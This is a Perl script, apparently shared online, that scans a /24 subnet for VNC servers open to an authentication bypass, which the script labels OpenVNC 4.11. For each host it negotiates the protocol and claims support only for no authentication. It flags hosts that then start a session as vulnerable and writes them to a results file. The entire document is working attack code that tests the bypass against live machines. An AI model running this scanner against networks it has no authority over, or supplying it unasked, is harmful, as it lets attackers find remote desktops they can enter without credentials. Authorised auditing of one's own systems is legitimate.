[Perl] VNC Vulnerable Scanner

#!/usr/bin/perl
# Multi-threaded scan for OpenVNC 4.11 authentication bypass.
use strict; # why not?
use warnings;
use IO::Socket;

use threads;
use threads::shared;
use Errno qw(EAGAIN);

# Configuration variables
use constant VNC_PORT => 5900;
my $splits = 5; # Creates 2^N processes.

my $avg_time = 5; # Tweak this to get better time estimates.
our $subnet;
our @results : shared;

our $todo = 0;
my $orig_thread = "yes";
my $start;

my $end;
my $time_estimate;
my $elapsed = time;
my $out_file;

++$|; # To watch as the results come in, in real time.
$subnet = $ARGV[0] || ""; # Get subnet from command line, else ask for it.

while (1) {
last if $subnet =~ m/^\d{1,3}\.\d{1,3}\.\d{1,3}\.?\*?/;
print "\nWhat subnet do you want to scan? ";
chomp($subnet = <STDIN>);
print "That does not look right. Enter something like 192.168.1.*\n\n";

}
# Put the subnet in the form x.y.z. so we can just concatenate the hostnum.
$subnet =~ s/^(\d{1,3}\.\d{1,3}\.\d{1,3}).*/$1/;
$subnet .= ".";

$out_file = "VNC_" . $subnet . "txt";
# Mostly a guesstimate
$time_estimate = $avg_time * (256 / (2**$splits));

$time_estimate = int ($time_estimate / 60);
$time_estimate += 4;

print "\nScanning subnet ${subnet}x -- this should take approximately
$time_estimate minute(s).\n";
print "[!] = Vulnerable, [*] = Safe, [.] = No response.\n\n";
CHECK: {

unless ($splits >= 0 && $splits <= 8) {

die "ERROR: Do not split $splits times--that makes no sense.\n";
}
unless ($splits <= 5) {

warn "Reduce the number of splits from $splits to 5 or less if you
get memory errors.\n\n";
}
}
# Ugly, but this works.
DivideWork() if $splits >= 1;
DivideWork() if $splits >= 2;
DivideWork() if $splits >= 3;
DivideWork() if $splits >= 4;
DivideWork() if $splits >= 5;
DivideWork() if $splits >= 6;
DivideWork() if $splits >= 7;
DivideWork() if $splits >= 8;

# Which IPs this thread scans.
$start = $todo << (8 - $splits);

$end = $start + (256 / (2**$splits)) - 1;

foreach ($start .. $end) {
Scan_VNC($_);

}
wait until $?; # Wait for children to finish.
exit unless $orig_thread eq "yes";

# Only the original parent thread will continue.
$elapsed = time - $elapsed;
$elapsed /= 60;

$elapsed = int $elapsed;
print "\n\nFinished scanning ${subnet}x in $elapsed minute(s).\n";
SaveData();

exit;
####################################
sub DivideWork {
my $pid;
FORK: {

$todo *= 2;
if ($pid = fork) {

# Parent
++$todo;
} elsif (defined $pid) {

# Child
$orig_thread = "no";
} elsif ($! == EAGAIN) {

# Recoverable forking error.
sleep 7;
redo FORK;
} else {

# Unable to fork.
die "Unable to fork: $!\n";
}
}
}

sub SaveData {
my $vulns = 0;
open(FOUND, ">", $out_file) or die "Cannot open $out_file -- $!";
foreach my $IP (1..254) {

my $record;
$record = $results[$IP];
unless ($record =~ m/not vulnerable/io) {

++$vulns;
print FOUND $record;
}
}
print FOUND "\nVulnerabilites found: $vulns";
close(FOUND) or die "Cannot close $out_file -- $!";
print "Data saved to ${out_file}\n\n";

}
sub Scan_VNC {
# Scan for OpenVNC 4.11 authentication bypass.
my $hostnum = shift;
my $host = $subnet . $hostnum;
my $sock;
my $proto_ver;
my $ignored;
my $auth_type;
my $sec_types;
my $vnc_data;
$host or die("ERROR: no host passed to Scan_VNC.\n");
# The host numbers .0 and .255 are reserved; ignore them.

if ($hostnum <= 0 or $hostnum >= 255) { return; }

# Format things nicely--that crazy formula just adds spaces.
$results[$hostnum] = "$host";
$results[$hostnum] .= (" " x (4 - int(log($hostnum)/log(10)))) . " = ";
unless ($sock = IO::Socket::INET->new(PeerAddr => $host, PeerPort => VNC_PORT, Proto => 'tcp',)) {

$results[$hostnum] .= "Not vulnerable, no response.\n";
print ".";
return;
}

# Negotiate protocol version.
$sock->read($proto_ver, 12);
print $sock $proto_ver;
# Get supported security types and ignore them.

$sock->read($sec_types, 1);
$sock->read($ignored, unpack('C', $sec_types));
# Claim that we only support no authentication.

print $sock "\x01";
# We should get "0000" back, indicating that they won't fall back to no authentication.
$sock->read($auth_type, 4);
if (unpack('I', $auth_type)) {

$results[$hostnum] .= "Not vulnerable, refused to support
authentication type.\n";
print "*";
close($sock);
return;
}

# Client initialize.
print $sock "\x01";
# If the server starts sending data, we're in.
$sock->read($vnc_data, 4);
if (unpack('I', $vnc_data)) {

$results[$hostnum] .= "VULNERABLE! $proto_ver\n";
print "!";
} else {

$results[$hostnum] .= "Not vulnerable, did not send data.\n";
print "*";
}

close($sock);
return;
}